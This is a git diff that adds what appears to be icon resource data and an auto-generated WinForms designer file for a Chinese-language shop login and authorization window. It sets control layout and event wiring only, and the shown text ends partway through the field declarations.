zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.Designer.cs new file mode 100644 index 0000000..e8fd8f4 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.Designer.cs @@ -0,0 +1,283 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class ShopAuthForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShopAuthForm)); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.buttonEx1 = new LittleRabbit.UserControls.ButtonEx(); + this.btnAuthInWeb = new LittleRabbit.UserControls.ButtonEx(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.btnCopyPassword = new LittleRabbit.UserControls.ButtonEx(); + this.btnCopyUserName = new LittleRabbit.UserControls.ButtonEx(); + this.txtPassWord = new System.Windows.Forms.TextBox(); + this.txtUserName = new System.Windows.Forms.TextBox(); + this.btnStop = new LittleRabbit.UserControls.ButtonEx(); + this.btnReload = new LittleRabbit.UserControls.ButtonEx(); + this.chkCloseAfterLogin = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.txtAddress = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.buttonEx1); + this.splitContainer1.Panel2.Controls.Add(this.btnAuthInWeb); + this.splitContainer1.Panel2.Controls.Add(this.label2); + this.splitContainer1.Panel2.Controls.Add(this.label1); + this.splitContainer1.Panel2.Controls.Add(this.btnCopyPassword); + this.splitContainer1.Panel2.Controls.Add(this.btnCopyUserName); + this.splitContainer1.Panel2.Controls.Add(this.txtPassWord); + this.splitContainer1.Panel2.Controls.Add(this.txtUserName); + this.splitContainer1.Panel2.Controls.Add(this.btnStop); + this.splitContainer1.Panel2.Controls.Add(this.btnReload); + this.splitContainer1.Panel2.Controls.Add(this.chkCloseAfterLogin); + this.splitContainer1.Panel2.Controls.Add(this.txtAddress); + this.splitContainer1.Size = new System.Drawing.Size(1438, 766); + this.splitContainer1.SplitterDistance = 701; + this.splitContainer1.SplitterWidth = 3; + this.splitContainer1.TabIndex = 4; + // + // buttonEx1 + // + this.buttonEx1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx1.ForeColor = System.Drawing.Color.White; + this.buttonEx1.Location = new System.Drawing.Point(1045, 33); + this.buttonEx1.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx1.Name = "buttonEx1"; + this.buttonEx1.Size = new System.Drawing.Size(91, 25); + this.buttonEx1.TabIndex = 380; + this.buttonEx1.Text = "购买授权"; + this.buttonEx1.UseVisualStyleBackColor = false; + this.buttonEx1.Click += new System.EventHandler(this.btnBuyAuth_Click); + // + // btnAuthInWeb + // + this.btnAuthInWeb.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnAuthInWeb.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAuthInWeb.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAuthInWeb.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAuthInWeb.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAuthInWeb.ForeColor = System.Drawing.Color.White; + this.btnAuthInWeb.Location = new System.Drawing.Point(1138, 33); + this.btnAuthInWeb.Margin = new System.Windows.Forms.Padding(2); + this.btnAuthInWeb.Name = "btnAuthInWeb"; + this.btnAuthInWeb.Size = new System.Drawing.Size(91, 25); + this.btnAuthInWeb.TabIndex = 379; + this.btnAuthInWeb.Text = "去网页授权"; + this.btnAuthInWeb.UseVisualStyleBackColor = false; + this.btnAuthInWeb.Click += new System.EventHandler(this.btnAuthInWeb_Click); + // + // label2 + // + this.label2.Location = new System.Drawing.Point(23, 37); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(44, 17); + this.label2.TabIndex = 378; + this.label2.Text = "密码"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 10); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(44, 17); + this.label1.TabIndex = 377; + this.label1.Text = "用户名"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // btnCopyPassword + // + this.btnCopyPassword.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCopyPassword.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCopyPassword.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCopyPassword.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCopyPassword.ForeColor = System.Drawing.Color.White; + this.btnCopyPassword.Location = new System.Drawing.Point(295, 33); + this.btnCopyPassword.Margin = new System.Windows.Forms.Padding(2); + this.btnCopyPassword.Name = "btnCopyPassword"; + this.btnCopyPassword.Size = new System.Drawing.Size(57, 25); + this.btnCopyPassword.TabIndex = 376; + this.btnCopyPassword.Text = "复制"; + this.btnCopyPassword.UseVisualStyleBackColor = false; + this.btnCopyPassword.Click += new System.EventHandler(this.btnCopyPassword_Click); + // + // btnCopyUserName + // + this.btnCopyUserName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCopyUserName.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCopyUserName.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCopyUserName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCopyUserName.ForeColor = System.Drawing.Color.White; + this.btnCopyUserName.Location = new System.Drawing.Point(295, 6); + this.btnCopyUserName.Margin = new System.Windows.Forms.Padding(2); + this.btnCopyUserName.Name = "btnCopyUserName"; + this.btnCopyUserName.Size = new System.Drawing.Size(57, 25); + this.btnCopyUserName.TabIndex = 375; + this.btnCopyUserName.Text = "复制"; + this.btnCopyUserName.UseVisualStyleBackColor = false; + this.btnCopyUserName.Click += new System.EventHandler(this.btnCopyUserName_Click); + // + // txtPassWord + // + this.txtPassWord.Location = new System.Drawing.Point(72, 34); + this.txtPassWord.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtPassWord.Name = "txtPassWord"; + this.txtPassWord.PasswordChar = '●'; + this.txtPassWord.ReadOnly = true; + this.txtPassWord.Size = new System.Drawing.Size(221, 23); + this.txtPassWord.TabIndex = 374; + // + // txtUserName + // + this.txtUserName.Location = new System.Drawing.Point(72, 7); + this.txtUserName.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtUserName.Name = "txtUserName"; + this.txtUserName.ReadOnly = true; + this.txtUserName.Size = new System.Drawing.Size(221, 23); + this.txtUserName.TabIndex = 373; + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(1324, 33); + this.btnStop.Margin = new System.Windows.Forms.Padding(2); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(96, 25); + this.btnStop.TabIndex = 372; + this.btnStop.Text = "停止操作"; + this.btnStop.UseVisualStyleBackColor = false; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnReload + // + this.btnReload.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnReload.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnReload.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnReload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnReload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnReload.ForeColor = System.Drawing.Color.White; + this.btnReload.Location = new System.Drawing.Point(1231, 33); + this.btnReload.Margin = new System.Windows.Forms.Padding(2); + this.btnReload.Name = "btnReload"; + this.btnReload.Size = new System.Drawing.Size(91, 25); + this.btnReload.TabIndex = 371; + this.btnReload.Text = "重新加载"; + this.btnReload.UseVisualStyleBackColor = false; + this.btnReload.Click += new System.EventHandler(this.btnReload_Click); + // + // chkCloseAfterLogin + // + this.chkCloseAfterLogin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.chkCloseAfterLogin.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkCloseAfterLogin.Checked = true; + this.chkCloseAfterLogin.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkCloseAfterLogin.CheckValue = "Y"; + this.chkCloseAfterLogin.Location = new System.Drawing.Point(909, 34); + this.chkCloseAfterLogin.Name = "chkCloseAfterLogin"; + this.chkCloseAfterLogin.Size = new System.Drawing.Size(135, 23); + this.chkCloseAfterLogin.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkCloseAfterLogin.TabIndex = 8; + this.chkCloseAfterLogin.Text = "登录成功后关闭窗口"; + this.chkCloseAfterLogin.Visible = false; + // + // txtAddress + // + this.txtAddress.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtAddress.Location = new System.Drawing.Point(380, 7); + this.txtAddress.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtAddress.Name = "txtAddress"; + this.txtAddress.Size = new System.Drawing.Size(1040, 23); + this.txtAddress.TabIndex = 7; + // + // ShopAuthForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1440, 800); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ShopAuthForm"; + this.Text = "店铺登录"; + this.TitleText = "店铺登录"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.ShopAuthForm_FormClosed); + this.Load += new System.EventHandler(this.ShopLoginForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel2.ResumeLayout(false); + this.splitContainer1.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.Controls.CheckBoxX chkCloseAfterLogin; + private System.Windows.Forms.TextBox txtAddress; + private UserControls.ButtonEx btnStop; + private UserControls.ButtonEx btnReload; + private System.Windows.Forms.TextBox txtPassWord; + private System.Windows.Forms.TextBox txtUserName; 